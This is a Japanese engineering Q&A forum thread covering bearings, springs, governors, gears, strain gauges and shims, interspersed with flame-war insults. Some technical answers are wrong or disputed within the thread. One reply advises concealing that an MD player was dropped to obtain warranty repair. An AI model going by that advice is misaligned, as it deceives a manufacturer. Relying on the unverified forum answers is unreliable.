上のスレッドを、少なくとも中ほどまでで読めば、その理由が完璧に述べられている。

磨り減ったレコードが、同じところを繰り返す如くの、ワンパターンの「釣り質問ばかり」で、
このスレッドを見るにつけ、正直吐き気がする。

かけだしの零細金型屋です。
工作機械の償却費の算出法をおしえてください。

>270
新品ですか？中古ですか？それで違います。
ちと調べれば分かると思いますが・・・

＞　ちと調べれば

質問スレッドだから、丁重に教えてやれ。

まあ、参考に
http://www.komatsusanki.co.jp/keiei/taiyounen.html

>>268
バネの弾力？
軸力って理解してる？何故ネジが締まるか解ってる？

工業高校にいってるんだけど材料記号って覚えんのめんどういな。
なんでＳ(鋼)が二文字めになると意味が変わるんだよ・・・。
おぼえにくいよ・・ＯＴＺ

>>274
バネ座金の応力は軸方向に作用するやん。

>>271-273
ありがとうございますです。
正確には自分は2代目なのですが、丼勘定がこわいので
勉強させてもらいます。みなさんは経営のスキルはどうやって
得られたのですか？良ければおしえてください。

>>273
中古のフライスとかワイヤカットなんですが、時間給を計算するのに、
機械の値段ばかりの気がいってました、耐用年数とかややこしいですね。

ﾊﾞﾈ座金はゆるみ止めのためにつけるんじゃないよ。
ゆるんでしまったボルトの脱落を防ぐためだよ。

エンタルピとエントロピの違いを教えてください。
熱ですみません

また釣りか。

>279
【熱学、力学】質問スレッド　
http://science3.2ch.net/test/read.cgi/kikai/1026785082/l50
こっちを読んだ上で質問してみたら

機械設計法ってここで質問していいんですか？

ジャーナル軸受の定常状態での最大すきまの位置から
ジャーナルの回転方向にはかった角度をθとして、
θでの膜厚をhとしたときの、
h ≒ R2 - R1 + e * cosθ = C(1 + ε * cosθ)
を誘導せよ、という問題なのですが…

これが図です
http://venus.aez.jp/uploda/data/dat3/upload316209.bmp

↑それで、何がわからんのじゃ？

何を答えればいいのか分からないって状況だと思うぞ。

なにが解らないのかももう解りません（ｗ

>>269
リンク先見てるとTAKEが昔からアホだったことがよくわかった。

それから、

>>1
＞(6) 検索結果への直リンは、やめてください。
＞回答として適切と思われるＵＲＬをリンクしましょう

こんなツマランこと書いてる香具師も、大バカ！だよね。
何の意味もないし。

なぜこんなに過疎になってきているのか、>>1 は、良く考えてみるべきだと思う。
考える「脳」が有れば？、なのだがね。（爆笑

>>283
また釣りか。

荒らすなよ。ヴォケが。

>>289-291
>251-252ではTAKEと名乗ってるのに
すぐ、名前を変えるんだな、
何か都合が悪いのか？

>>289-291
を見るとTAKEのノウミソが腐ってることがよくわかった。

荒らすなよ。ヴォケが。

>>283
角θが構成している三角形（辺　R1＋ｈ、R2、偏心量）に余弦定理を適用せよ。
h/R1,ε/R1は微少量として近似せよ。

ってもういないかｗ

TAKEなんて馬鹿一匹の所為でこのスレが機能しなくなってることに怒りと
憤りを感じるね。

なんか反論あるか？＞糞TAKE

荒らしやがって、糞ぼけが。

>>297
お前が「誹謗中傷荒らし犯罪者」であることは、誰の目にも明らである。
工学板過疎化の責任は、全てお前にある。責任を取って早く消えろ。
このヴォケが。

はい、次どぞ！！

だからエンタルピとエントロピの違いを教えてください。
熱ですみません

熱のことは、【熱学、力学】質問スレッドが有るだろ。
そこで聞け。
このヴォケ釣り野郎めが。

スルーしなよ。いちいち「ヴォケ」言ってもキリがないだろ。

「熱学」などという、略した名前にしたのが、見つけ難くしてしまった根本原因。
「熱力学」と、正式な名称にすべきだった。

思慮の浅いこと、浅いこと。

>>167
＞　「いすず自動車復活」の話題やってますね。

いすゞ自動車(株)　 (東証1部:7202)
http://quote.yahoo.co.jp/q?s=7202.t&d=c&k=c3&a=v&p=m65,m130,s&t=6m&l=on&z=l&q=c
は、今が買い時かも、ヨ。

正式には、『　いすゞ　』と、書くのね。。　それは、知らんかった、ナ。（ｗ

>>304 しまった。
誤爆だった。。（欝、鬱、うつ。

ナローガイドの原理ってなんですか？

山　平面　で山が　動力に近いことがひとつあるな
山が遠いほうだと　旋回する力が強いっての
あともう1つあったような

マイクロバブル発生装置を１万円以下で売ってるところありますか？

ない。
桁がひとつ違う。

>>309
ありがとうございます。
やはり。某メーカーにきいたら４５万円と言われました。
金魚鉢のエアーポンプくらいしか買えそうにないです。--;

課題で「ニューコメンの蒸気機関の作動原理」と
「４サイクルピストンエンジンの作動原理」が出されました。
一応書いたんですけどA４用紙１枚にも満たないくらいの量しか
書いてないから本当に心配で・・・・
どなたかこの課題の審査をお願いできますか？

ニューコメンの蒸気機関の作動原理についての説明

　まず、下のボイラーに火をつけ蒸気を発生させる。その蒸気をシリンダーの中に入れて
水をかけて冷やし、中の圧力が大気圧より下がるようにする。すると大気圧がシリンダーの中の
圧力より高いのでピストンを下に押してシリンダーの中の圧力を上げようとする。
その力を利用して重いものを持ち上げる。水になった蒸気は外に出される。

４サイクルピストン機関の作動原理についての説明
　
　�T、圧縮　排気バルブを閉じ吸気バルブが開いている状態でピストンを一番上
（上死点TDC top dead center）から一番下（下死点、BDC bottom dead center）まで下げる。
するとシリンダーの中の気圧が低くなるので吸気バルブから混合気（ガソリンと空気を混合した気体）
をシリンダーの中に吸い込む。
　
�U、圧縮　一番下までいったピストンが上昇運動を行い混合気を圧縮する。
このとき吸気バルブも排気バルブも閉じているので、混合気の圧力温度がともに上昇する。
（参考文献では８分の一から９分の一まで圧縮されると書いてある）
　
　�V、膨張　圧縮が頂点に達したところでプラグにより点火が行われ、混合気が燃焼して膨張する。
のとき吸気バルブも排気バルブも閉じているので、膨張しようとするガスの圧力によって
ピストンが下に押し下げられる。

　�W、排気　押し下げられて一番下にあるピストンが再び一番上まで上昇することで、
排気バルブから内部の燃焼・膨張したガスを押し出す。

日本語がおかしいところはm(__)m

>312
まず、下のボイラーに火をつけ蒸気を発生させる。その蒸気をシリンダーの中に入れて
ピストンが持ち上がりシリンダ内の蒸気圧力と大気圧がつりあう状態にする。その後
水をかけて冷やし、中の圧力が大気圧より下がるようにする。すると大気圧がシリンダーの中の
圧力より高くなるので,、大気圧が持ち上がっていたピストンを下に押す形となる。
その力を利用して重いものを持ち上げる。水になった蒸気は外に出される。
大気圧を利用してエネルギーを生み出すので、大気圧機関と呼ばれる。

こんなところかな。ニューコメンは
文章がさびしいと思ったら、ニューコメン機関の問題点でも書いておけばいいのでは

>313
ありがとうございます。
４サイクルのほうは問題ないですか？

>312
大体のところはあっているが
ピストン機関にはガソリンとディーゼルがある
もしかすると、両方を記載しろという引っ掛け問題の可能性があるが
それは大丈夫なのか

ガバナについてなんですが、スピーダスプリングが三角形の形をしているのは何故ですか？
http://www.woodward.com/corp/locations/japan/gov_basic2.htm

>>314
エンジンのサイト
http://www.keveney.com/

>>316　＞　スピーダスプリングが三角形の形をしているのは何故

このような、丸線材を使った円錐形のスプリングは、一般的には『 円錐ばね 』と呼ばれていますが、
一般のコイルスプリングと同じばね性能のままで、高さを抑えた設計を可能とする特徴があります。
特に最近では、「キーボードボタンのスプリング」として、良く使われる形式と言えます。

同様の目的として、帯板材を使った円錐形のスプリングとしては、『 竹の子ばね 』と言うものも有り、
しかしこれは、主に重荷重用に使います。

『 円錐ばね 』を高速動作で使った場合、各部の寸法が異なるため、一般コイルススプリングと比べ、
ばね自身の共振が起こり難い、と言う効果も有るのではないかと想像しますが、スピーダ（調速機）
の動き自体はそう高速でもなく、共振を防ぐ目的でそのばね方式が採用された、とは考え難いです。

恐らくですが『　高さ方向の寸法を小さく作りたかった。』と言うのが、その理由のように思われます。

>>311　＞　「ニューコメンの蒸気機関の作動原理」と「４サイクルピストンエンジンの作動原理」

イメージ　「　ニューコメン　」
http://images.google.co.jp/images?q=%E3%83%8B%E3%83%A5%E3%83%BC%E3%82%B3%E3%83%A1%E3%83%B3&hl=ja&btnG=Google+%E6%A4%9C%E7%B4%A2

イメージ　「　４サイクルエンジン　」
http://images.google.co.jp/images?svnum=50&hl=ja&lr=&c2coff=1&q=%EF%BC%94%E3%82%B5%E3%82%A4%E3%82%AF%E3%83%AB%E3%82%A8%E3%83%B3%E3%82%B8%E3%83%B3&btnG=Google+%E6%A4%9C%E7%B4%A2

>>317　訂正。

×　→　しかしこれは、主に重荷重用に使います。
◎　→　これらも、同様の目的で使われることが、多い見たいです。

>>312　＞　その蒸気をシリンダーの中に入れて水をかけて冷やし、

「　蒸気機関の歴史　」
http://homepage2.nifty.com/eman/thermo/steam.html
http://homepage2.nifty.com/eman/thermo/contents.html

・　ニューコメンの大気圧機関
・　水を沸騰させて作った蒸気をシリンダーに導くことでピストンを動かし、
　　　　　　　　　　　　　　　　　　　------------------
・　その後、シリンダーの中に　　水を直接吹き入れて　　蒸気を冷やすというやり方だった。　
　　　　　　　　　　　　　　　　　　　------------------
・　冷えた蒸気は水に戻り、シリンダーの中はほぼ真空になる。　
・　すると大気圧の力がそれを押し潰そうとしてピストンが元に戻る。　
・　このことからこの方式は「大気圧機関」と呼ばれている。

シリンダーなどに『 水をかけ 』るのではなく、『 水を直接吹き入れ 』る、と言うことだそうです。

>316-7
ウッドワードのUGもPSGも機械ガバナで遠心力動作だから、寸法よりも
円錐ばねの荷重-たわみ特性の非線形を目的にしてます。
回転数が急増した場合に回転数をすばやく押さえ込むためにも
荷重-たわみ特性の非線形が必要です。

>301
>303
>304
>305 オチこぼれ機械屋くずれの引き篭もりトレーダーか？ＴＡＫＥ本人もしくは同類。

スチール材にU字型金具を溶接して重いものを吊り下げるタイプと、スチール材に通しアイボルト
を通して吊り下げるタイプではどちらの方が耐久性が上なんでしょうか？
分かる人教えてくださいです。

>>323
時と場合によるとしか

>>324
そうですか・・・
ご回答ありがとうございました。

進路について質問しても宜しいでしょうか？

来年受験生なんですが将来のことを考えて理学部ではなく
工学部に行きたいと思っているんですが数学　物理　化学
は好きなのでこれらをできるだけ多く深く使うような学部で
よさそうな学部知ってたら教えてもらえないでしょうか

間違えました来年受験で今浪人です

自動車のトランスミッションで、ハーフトロイダルＣＶＴの変速比って誰か
知ってる？
わかりやすく教えて欲しい。

>>327
機械・電気・電子・化学・建築・土木･･･
まぁ、好きなの選んでくれ。
つーか、何かを作りたいんじゃなけりゃ、工学部はお勧めしない。
話は、そこからだ。

>>321　
＞　円錐ばねの荷重-たわみ特性の非線形を目的に

円錐ばねの「荷重と撓み」の関係は、確かに「曲線的」に作れるかも知れないが、
非線形（ 計算式で表せないような形 ）の関係になるとは、普通考えられない。

スプリング構造から考え、径の大きい部分から座面に接して行くのだとすれば、圧縮量が、
多くなるに従い、ばね定数のより大きい、より立った傾向の線図に変化して行くと思われる。
これは、変位量が大きくなるほど、動かし難くなるばね特性であることを、意味している。

＞　回転数が急増した場合に回転数をすばやく押さえ込む

『すばやく押さえ込む』必要のある制御は、制御系の遅れを極力なくすか、オーバー制御気味に、
動かすことで可能となるが、最初にも書いた理由で、円錐ばねではその目的は達せられない。

キーボードボタンなどに必要とされる、フリップ・フロップ的（ Ｏｎ、Ｏｆ、的 ）な、ばね特性は、
円錐ばね（ コニックリング ）ではなく、同時に使う、円錐カップ状のゴム（ カップラバー ）により、
作り出されている筈である。

「　キーボード　」
http://www.topre.co.jp/products/electric/keybord/
「　用語集　」
http://www.edit.ne.jp/~beach/keyboard/terms.html
・　　ラバーカップ（ラバードーム）
・　　お椀形状の設計によってキー押し下げ圧やクリック感が自在に設定可能なため、
・　　秀逸なキータッチを持つ物も存在するが、

円錐ばねの、「曲線的に変化するばね特性」を使う理由は、また別の目的があると考えるが、
その説明は、また後日にしょう。

>>322
議論に負けるのは、いつもお前の方だ。　これ、工学板の定説。（爆笑

>>329
＞　ハーフトロイダルＣＶＴの変速比

もちろん限度はあるが、基本的には設計のやり方によって、どうにでもなると言える。
但し極端な仕様だと、外径が無闇に大きくなったり、重くなったりしてしまうことになる。

大きな変速比が必要な場合は、「フルトロイダル方式」の方が、構造的につくり易い。
もし、１組の変速機でその変速比が確保できない場合は、２組を直列に配置すれば、
それも可能となるだろう。

以上のことは、トロイダル式ＣＶＴに限らず、全ての無段変速機に言えることでもある。
なお、自動車関係の話題は、出来れば下のスレッドでお願いしたい。

「　自動車設計のツボ　」
http://science3.2ch.net/test/read.cgi/kikai/1022777635/l50

>>327
高校レベルの数学と物理は、九九と同じくらいの常識だから、どこ逝っても使うよ。

つーか、将来何の仕事するか考えてから決めたら？
自動車やロボなら機械、電気系
橋や道路なら土木建設
半導体関連なら電気電子
化学は知らん。油脂か材料産業かね。

>331

ttp://www.number7.jp/board/formz.cgi?action=res&resno=6&page=&lognum=&id=banet&rln=9　より
非線形性をもつバネについてということですね。
ここでは代表的な圧縮コイルばねの荷重特性についてご説明させて頂きます。
非線形特性コイルばねは、次の三種類に大別されます。
・円すいコイルバネ（コイル径）
・不等ピッチコイルバネ（ピッチ）
・テーパコイルバネ（線径）
　※（）内：有効巻数を変化させるのに利用している基本要素

非線形特性の場合は各条件ごとの数式を組み合わせて
この条件範囲内では、この式という風に計算してますが

３２７ですがレス大変ありがとうございました
参考になりました＾＾

>>334
>>331　←　まっずい！！！

【　非線形　】に対する、基本的な認識が間違っていた。
【　線形　】とは、辞書で調べると、「１次式以上を含まない」関係のことだった。

誤　→　非線形（ 計算式で表せないような形 ）
正　→　非線形（ 一次式は表せないような形 ）

ばねのグラフが、直線状にならない場合は、全て「非線形のばね」と呼ぶ見たいです。

------------------
誤　→　円錐ばねの「荷重と撓み」の関係は、確かに「曲線的」に作れるかも知れないが、
誤　→　非線形（ 計算式で表せないような形 ）の関係になるとは、普通考えられない。

正　→　円錐ばねの「荷重と撓み」の関係は、確かに曲線状の「非線形」に作れるでしょう。
正　→　しかしそれは、負荷が加わった場合に、径の大きいところから、順次座面や、
正　→　他の線材に接触していくように考えられている場合に、限られると思う。
------------------

「円錐ばね」を、調速機のスプリングに使った場合には、高速になるほど、すなわち、
ばねが縮むほど、ばねが硬くなり、ガバナー（調速装置）は動き難くなる特性になります。

もしこれらの、ばね特性を期待しているとすれば、ガバナーのウエイトが高回転になるほど、
外側に移動し、遠心力をより強める結果になりますから、その効果を弱めるために、
高速側になるほど、「　ばね定数の大きくなる特性　」のスプリングを選んだ、
と言うような考え方が、無理がないところではないのでしょうか。

但し、今回検索して見つけたガバナーの図には、これら「円錐ばね」は使われないですね。
そのページは、また次に紹介します。

>>336　イカン！いかん！イカン！！！　訂正の訂正。。。。

×「　正　→　非線形（ 一次式は表せないような形 ）」
◎「　正　→　非線形（ 一次式のみでは、表せないような形 ）」

　
３Ｓ級舶用機関整備士指導書　「　２．７ 調速装置　」　←　（　一般的なスプリングで描かれている。）
http://nippon.zaidan.info/seikabutsu/2002/00200/contents/029.htm

２級舶用機関整備士指導書　「　２．７ 調速装置　」　←　（　一般的なスプリングで描かれている。）
http://nippon.zaidan.info/seikabutsu/2002/00198/contents/036.htm

この２番目の図の中にある、【アングライヒスプリング】と言うものが、
案外と、その円錐ばねなのかも知れない。　☆　図をクリックすれば、大きくなります。

２級舶用機関整備士指導書　「　３）機械油圧式ガバナ　」　←　（　円錐ばねで描かれている。）
http://nippon.zaidan.info/seikabutsu/2002/00198/contents/037.htm
☆　図をクリックすれば、大きくなります。

ＷＯＯＤＷＡＲＤ　「　ガバナの基礎　」　←　（　円錐ばねで描かれている。）
http://www.woodward.com/corp/locations/japan/gov_basic1.htm
http://www.woodward.com/corp/locations/japan/gov_basic2.htm

しかし、どのページの説明にも、「円錐ばね」の効果に付いてまでは、書かれてないようでした。

機械とは違うかもしれないが8ccで180ｷﾛのバイク
これは実在するの？
ttp://mbok.jp/.g1ecace0/_i?i=19719871

>336-338
ばねだけでなくガバナも理解できていないのでは。

>もしこれらの、ばね特性を期待しているとすれば、ガバナーのウエイトが高回転になるほど、
>外側に移動し、遠心力をより強める結果になりますから、その効果を弱めるために、
遠心力による効果を弱めてはいけません

http://nippon.zaidan.info/seikabutsu/2002/00200/contents/029.htm　にあるように
ガバナはアクセルではなく「設定した回転速度を維持させる」ものです。

回転数が上がって遠心力が強くなればその分、燃料噴射量を絞る必要があるのです。
回転数が上がったことによって強くなった遠心力を油圧等を使って増幅し、
回転数が上がった分に比例してより強く出力軸を燃料減の方向に動かし、
その結果として回転数が落ちます。
ウエイトから出る遠心力が回転数が設定値よりも上がるときに小さくなれば
燃料を絞ってエンジン回転数を落とすことができなくなります。
逆に小さな変動のときは、調速スプリングで吸収して定速回転を維持します。
調速スプリングの強さとガバナウエイトの遠心力ガつりあうところが
そのときガバナに設定された定速回転値になります。

詳しくは上のULRの4）ガバナの構造と作動を読んでください

>>340　＞　ガバナはアクセルではなく「設定した回転速度を維持させる」ものです。

そんなことは当然判っておる。説明してもらった内容も、ガバナーの初歩知識であるし、
今は、なにもそんな議論はしてないはずだ。
今頃になって、何を言おうとしているか。ホント呆れる。

他のスレッドで、すでに私は、【　ガバナー（調速機）　】と書いていたわけだから、
『　調速機　＝　速度を調整する機構　』であることは、１００％承知だ、
相手がそんな基本的なことが判ってない、と思うこと自体、かなり変だ。

【　読解力が極端に不足している　】のでは、ないのかな。

さて、本論に入るが、
円錐ばねの特性として、「縮んだ場合にばね定数が高くなる」基本原理になっている。
だからそれは、「縮んだ場合に」は動き難くなる傾向に働くのである。

動き難くなる、と言うことなら、それは「制御弁を少なく動かす」ことになり、
------------------
>>321　＞　回転数が急増した場合に回転数をすばやく押さえ込む
------------------
などと言う作用は発生せず、その逆の効果になると思われる。

だから、「>>321」のような理由で、円錐ばねが使われているのではないと、私は考えた。
同じことを、何度も説明させないように、相手の書いている真意を良く考えるべきである。
でなければ、掲示板での議論など、参加する資格は無い。

盛り上がってるところ申し訳ない。
硬さ試験のロックウェル試験の短所とはどのようなものでしょう。

＞　ロックウェル試験の短所

表面に傷が付く。

それもありますね。ありがとう。
小→大→小と荷重を与え、荷重小と大のくぼみの深さの差を調べる。
ということは内部の硬さを調べることはできるが、表面上の硬さを調べることはできないってのもありますよね。

安いポンプを探してます！
単刀直入に言うと毎分60回10mlの薬液を出すことの出来るポンプを探してます。
機械のラインで製品に薬液をかけるだけに使いたいのですか私の知るメーカーでは
価格が高すぎて使えませんし…使わしてもらえません。
シンプルで低価格の物、電気なんて大それたものは使わなくていいですから!!
何かお勧めありませんか？

>341　いっちょかみの　（*・。・*）　ちゃんはどうせTAKEだろ、
読解力が足りてないのはTAKEでは
まあ、検索だけではガバナがわかるものでもないとは思うが

ウッドワードのUGガバナに使われているスピーダスプリングだが
あそこの円錐ばねは縮んだ場合に「動き難くなる」からいいのです
外部からの入力がなく、あの円錐ばねが縮むのは、回転数が増えた場合です
エンジン回転数が増すと、ガバナウエイトが外に振られて、スプリングを押し上げる
円錐ばねは縮むことで動きが堅くなり、回転数増加によるガバナウエイトの動きを
ばねで蓄えずにダイレクトに出力軸に伝える。
ばねとして働きが減る分、反応が早くなるから回転数が落ちてガバナウエイトと
スピーダスプリングがバランスするところに早く近づき、早くバランスが取れる。

http://www.woodward.com/corp/locations/japan/gov_basic2.htm

ドループガバナは、フィードバックアームにより、スピーダスプリングの圧縮力を増減させます。
と書いてあるが、読んでないですか。

エンジンの回転数が上昇すると危険だから、
「回転数が上がる=スピーダスプリングが圧縮される」場合に、早く回転数を落として
安定させる目的があります。
定速で回転する同期発電機向けのエンジンの過速度停止設定が
法定で定格回転速度の110％以下になっているのを知らないのですか

冷間鍛造とかの冷間塑性加工品をガス軟窒化処理すると
表面粗さはどのように変化しますかね？

＞　ガス軟窒化処理すると表面粗さはどのように変化

荒さは、ほとんど変わらないと思う。
但しそのままでは、「くすんだような黒っぽい灰色」に変わるようです。
磨けば、その色のままで、艶は一応出るみたいですが。。。

>>346
＞　円錐ばねは縮んだ場合に「動き難くなる」からいい
＞　ばねとして働きが減る分、反応が早くなるから

いよいよ議論も佳境になると、いつもの如く、＜　ペテン・誤魔化し・モード　＞に突入して行くようです。
まぁ仮に、ガバナウエイトの動きを、直列的に円錐ばねを介して、バルブの動きとして伝える方法だと、
確かに、そう言う傾向に作れるとは思うよ。

しかし「 >>338の図 」などからすれば、ガバナウエイトの動きは、残念ながら「Ｌ形」のレバーにより、
直接バルブに伝わるように作られており、円錐ばねは、ガバナウエイトの動きを抑制するためにだけ、
使われているに過ぎないようだ。

よって、円錐ばねが縮むに従い、『 動き難くなる 』特性が有るのだとすれば、バルブの動きも減る、
のも道理で、『 反応が早くなる 』などではなく、逆に『 反応が遅くなる 』方向に働くことが、判るはずだ。

----------------------　　　但し、「 >>338 」でも書いたように、
＞　http://nippon.zaidan.info/seikabutsu/2002/00198/contents/036.htm
＞　この２番目の図の中にある、【アングライヒスプリング】と言うものが、
＞　案外と、その円錐ばねなのかも知れない。
----------------------　　　と、言うことならば、

ガバナウエイトの動きは、この「特殊な？スプリング」を直列的に介し、バルブを動かすこととなるので、
『 円錐ばねは縮んだ場合に「動き難くなる」から 』と言う、その理由で、オーバー気味にバルブを動かし、
案外と、【　上手い回転調速特性　】を持たせられるように、工夫されていたのかも知れない。

しかしながら、時代は「電子的な制御方法」に移り変わっていると思われるので、そのような末節的な、
旧式機械の議論ばかりしていても、時代に取り残された技術者に、なってしまうのではないだろうか。
と言うことで、この辺で、この議論も終わりにしたいものであるね。

まぁこれも、例の輩の「釣り質！」だとは思うのだが、今回も一応、付き合って解答してみたのである。（ｗ

>>345
10mlの量が適当でいいなら
定流量型のポンプで送って、電磁弁で分岐させて
時間制御で放出と戻りにすりゃいいんでない？
断続的に毎秒10mlひっかけるなら、
2〜3倍くらいの流量確保しとけば何とかなるでしょ。

>349

http://www.woodward.com/pubs/download.cfm?link=/PDF/IC/03040.PDF
ここで、マニュアルをダウンロードして12ページの図を見て考えろ。
英語が読めなくても、図が見れれば自分の考えがどれほど間違っているかわかると思うが。

>346が書いているように、エンジン回転数の上昇方向への動きははユニット全体で徐々に動き難くなるように
エンジン回転数の下降への動きはバランス点まではフリーになるようになっているのだが

>>351　＞12ページの図

単なるロッドの図しか見えなかった。円錐スプリングなど一切出てこないし。
何が言いたいのか、さっぱり意味不明。

PDFファイルなら、目次を入れて18枚目だな

モジュール　（ｍ）＝４ｍｍ、中心距離（L）＝１６０ｍｍ、速度比＝三分の一、
一組の平歯車の歯数の求め方を教えて下さい。（計算式も）

m=4, L=160, i=1/3
転位しないものとする。

Dp1=m・Z1
Dp2=m・Z2
Z2=3・Z1
(Dp1+Dp2)/2=L

2・m・Z1=L

Z1=L/(2・m)=20
Z2=3・Z1=60　　　　釣り掛かり　以上

ありがとうございました。

低温につよい材質ってなに？
タングステン？ﾌﾟﾗﾁﾆｳﾑ？

ぐぐれ､超ぐぐれ
金属､高分子､セラミック
用途によってめちゃくちゃたくさんあるよ。

>357
目的と温度条件を書かないと誰もわからんがな

液体酸素･窒素なら配管材にSUS304使っているが

>>357
低温脆性の起きないアルミ又はその合金

参考書を読んでいたら、
ひずみ速度というのが出て来たのですが、
これはどうやって測定するのでしょうか？

専用の測定器とかがあるのでしょうか？
まさか高感度のカメラ？

>>361
ひずみゲージという便利な道具があるじゃないか。

まぁ、等間隔に点打って高解像度のカメラで記録すれば分かるかもしれんけど。

>>362
ありがとうございます。

ひずみゲージだとひずみは計れると思うのですが、
時間が計れなく無いですか？
例えば対象物に鉄球等をぶつけた場合、
衝突からひずみが生じ終わるまでの時間が測定出来ないと思うのですが。

>363
高速度カメラ使ったり、レーザー使ったり
今のところ、安上がりなのはカメラかな
速度なんて直接計算しなくてもいいのだから
変化と時間の計測さえできればいいのだから

パナソニックのエムディープレーヤー使ってます。
この間、うっかり地面に落としてしまい、再生ボタンを押しても読み込み画面のまま変化無し…。
自力でなんとかするなら、どうすれば良いでしょうか？それとも、修理のが良いでしょうか…。

>>365
保証期間内だったら、落としたことは言わずに修理に出してみれ。

すぐバレるとおもうけどね。

質問なのですが
学校の課題でパチンコ玉の材料、特徴、作り方、その材料が使われている理由
をレポートに書いて出せといわれたのですがどうも難しくてうまくまとめられないのですが
みなさんならどんな感じに書くのでしょうか？
よろしければ皆様の学力をすこし分けていただきたいil||li＿|￣|○il||li

んなもん
パチンコってゲームが発明された当時
一番安く手に入る手ごろな大きさのボールが
たまたまベアリングだったってだけだろ。

造り方なんかベアリング球に刻印打ってメッキするだけなんだし
事務的に書けばいいでしょ。

>>368
パチンコ玉の作り方はここを見れ↓
ttp://www.smt-inc.co.jp/wakayama/topic_pachi.html

最近、国が発注した鋼鉄製の橋の工事の談合の話題が熱いけど、
そもそも鋼鉄製とコンクリート製の橋ってどう違うの？
メリットとかデメリットとか…

280 ：山師さん＠トレード中 ：2005/05/28(土) 21:17:16 ID:rfEUTW0B
慶應理工です。
東北大工は蹴りました。

東北大に行かなかったことを馬鹿にされた。
ふざけるな東北大の癖に。

305 ：山師さん＠トレード中 ：2005/05/28(土) 21:20:20 ID:KxARLF1l
>>280
受験ヒエラルキーは知らないが、
社会的には東北大・工の方が半導体をはじめ圧倒的に評価高いし。
慶応なんて企業からは、え？あそこ研究やってるんだ？って思われてる。


エンジニアの皆さん。どっちが上なのでしょうか？

機械工学における死点て何のことですか。

傾斜機能材料とは何ぞや？

>371その質問はこっちのほうがいいかも
土木・建築
http://science3.2ch.net/doboku/
具体的には
◎●コンクリート橋より鋼橋でしょ。３橋目●◎
http://science3.2ch.net/test/read.cgi/doboku/1097466482/
ぐらいがいいとおもう

たぶんそこの361からを読めばあるていど理解できるのではと

>>370
へぇー、パチンコ玉は浸炭鋼だったのか

>372-3
上下以前に大学で全てが決まると思っているやつが馬鹿

>375
2種類の物性を組合せた素材
表面は熱に強いセラミックだが裏面は金属、でもセラミックの裏に金属を張ったのではなくて
表面はセラミックの性質100％としたら厚みの中間点では50：50裏面では金属100％の物性を持つ
といった、普通の金属とセラミックの張り合わせ品のような境界線を持たない
一つの材料の中で、組成や機能が連続的、または段階的に変化している材料のこと

さすがにMIMでは難しいよなぁ・・・＞パチンコの玉

モノづくり大辞典 オレンジブック　ってカタログを個人で取り寄せ出来ないんでしょうか
会社とかホームセンターに置いてあるのは見たことあるんですが…

　　　　 (;;;;:::::)
　　　（;;;;;;;;:::::::::）
　　（;;;;;(;;;;;;:::::);;:::）
　（;;;（;;;;;(;;;;;:::);;:::）;::）
　　　ヾ|i l i i l;|ｿ
　　　　|i l i i l |
　　　 （ ・ ３ ・ ）　＜ きのせいだお
　　　　|i (ﾉ l !,|
　　　 人从从ﾈ
　　　　　∪∪

>>380
近くの工具店に行って「代金払いますから」といえば、入手できないかな？
私の勤め先には、取引量の多い工具店それぞれから、オレンジブックが配布されました。（自分の部署には計３冊）
邪魔なんで、１冊残して捨てようと思ってます。

>>374-375
わからない言葉は、辞書で調べてくらはい。

Ｇｏｏ　辞書
http://dictionary.goo.ne.jp/

ありがとうございます、参考にさせていただきますね

ラッピングに関しての質問なんですが。
ある本に｢ラップ剤が目つまりを起こすときは仕上量は急激に減少すると共に仕上面に残留するラップ剤粒子の切刃綾によって
つけられるきずは小さくなり、同時に切屑と被加工物との金属同志の摩擦によって仕上面は非結晶質のバイルビー層を生じることとなる。｣
(ちと読みにくいけど原文のままです）
とあるのですが、このなかの"バイルビー層”とはどう言うものなのでしょうか？
何方かご存知の方がいたら教えてください。

>>385
Bilby Layerでぐぐれ。
ゴミがいっぱい引っ掛かるから、polish、amorphousなどのワードを加えろ。
以上。

>>386
レスありがと。
ぐぐったけどいまいち分んなかった・・・残念。

引張り試験でカップアンドコーン破壊が起きた時、
S20Cではふちの大きさが大きく、S50Cではふちが小さかったのよ。
S20Cでは延性変形、S50Cでは塑性変形？らしいんだけど、
延性と塑性でどうしてふちの大きさが変わるの？

　
こんにちは。今日も元気に働きましょう。

>>388
そりゃおまい、伸びやすい素材の方が
ギリギリまで伸び続けるからだよ。

シムとライナーの違いを教えてください

>>391
餃子とワンタンの違いみたいなもんだ

>>391

・　　シム　　　＝　shim　＝　詰め木　＝　機械的には、主に、隙間や高さや位置合わせのため入れる、薄い金属片のこと。
・　　ライナー　＝　liner　＝　裏地　　＝　機械的には、主に、補強や補修や材質変更のために入れる、薄い金属筒のこと。

トップ < カスタマーサポート < 用語集 < さ行
http://www.et.ebara.com/support/terms/key_sa.html
　　　シム　　　高さなどの位置を細かく調整するために、部品間に挿入される薄い板状のもの。

ＡＬＣ　「shim」
http://www2.alc.co.jp/ejr/index.php?word_in=shim+&word_in2=%82%A9%82%AB%82%AD%82%AF%82%B1&word_in3=PVawEWi72JXCKoa0Je
ＡＬＣ　「liner」
http://www2.alc.co.jp/ejr/index.php?word_in=liner&word_in2=%82%A0%82%A2%82%A4%82%A6%82%A8&word_in3=PVawEWi72JXCKoa0Je

>>392
さすがー、迷解答！。感心した！！。

シムは小さい寸度の調整用、ライナーは大きい寸度用でシムの下に敷く。

テーパライナー２枚の出し入れでシム調整なみのことを行なう場合もある。

据付工事だとライナーで位置を合わせ（調整ライナーとか貼付ライナー）
シムで精度を出すのだが

>393
>機械的には、主に、補強や補修や材質変更のために入れる、薄い金属筒のこと。
シリンダライナーと混同しているのでは

スペーサーは？

っつーか最初から隙間あける事を前提に作るのがスペーサーだろ
対してシムは後付けの調整用だし。

>>394
漏れの脳内にはライナーには筒ってイメージないなぁ、>>395がシックリくるね

400

>>399
筒状のライナーも存在するが
ライナー全てが筒状とは限らないからね

　
>>393　＞　主に、（略）　薄い金属筒

「 主に 」と書いてあるところが、ミソ！。（ｗ

イメージでは板状の物で厚みによって
スペーサー＞ライナー＞シム
って気がするけどな

カラーが何処に入るかが微妙なわけだが

抵抗線ひずみゲージの誤差って、以下のようなものが考えられるけど
誤差を0にするのは不可能ですよね？
・気温、湿度によるもの
→環境を調整できる密室で実験を行う
・測定のたいみ

>>404ブリッジつかいなせえ

＞測定のたいみ

言いかけて止めんなよ気持ち悪いな。

あまりにもおばかな書き込みに気づいた同僚に止めに入られ口論の末に刺し殺された模様

>>402
「稀に」なら納得

>>392
ギョウザ　皮が丸い
ワンタン　皮が四角い

誤差をゼロにするのは、どんな計測機器でも不可能だろう。
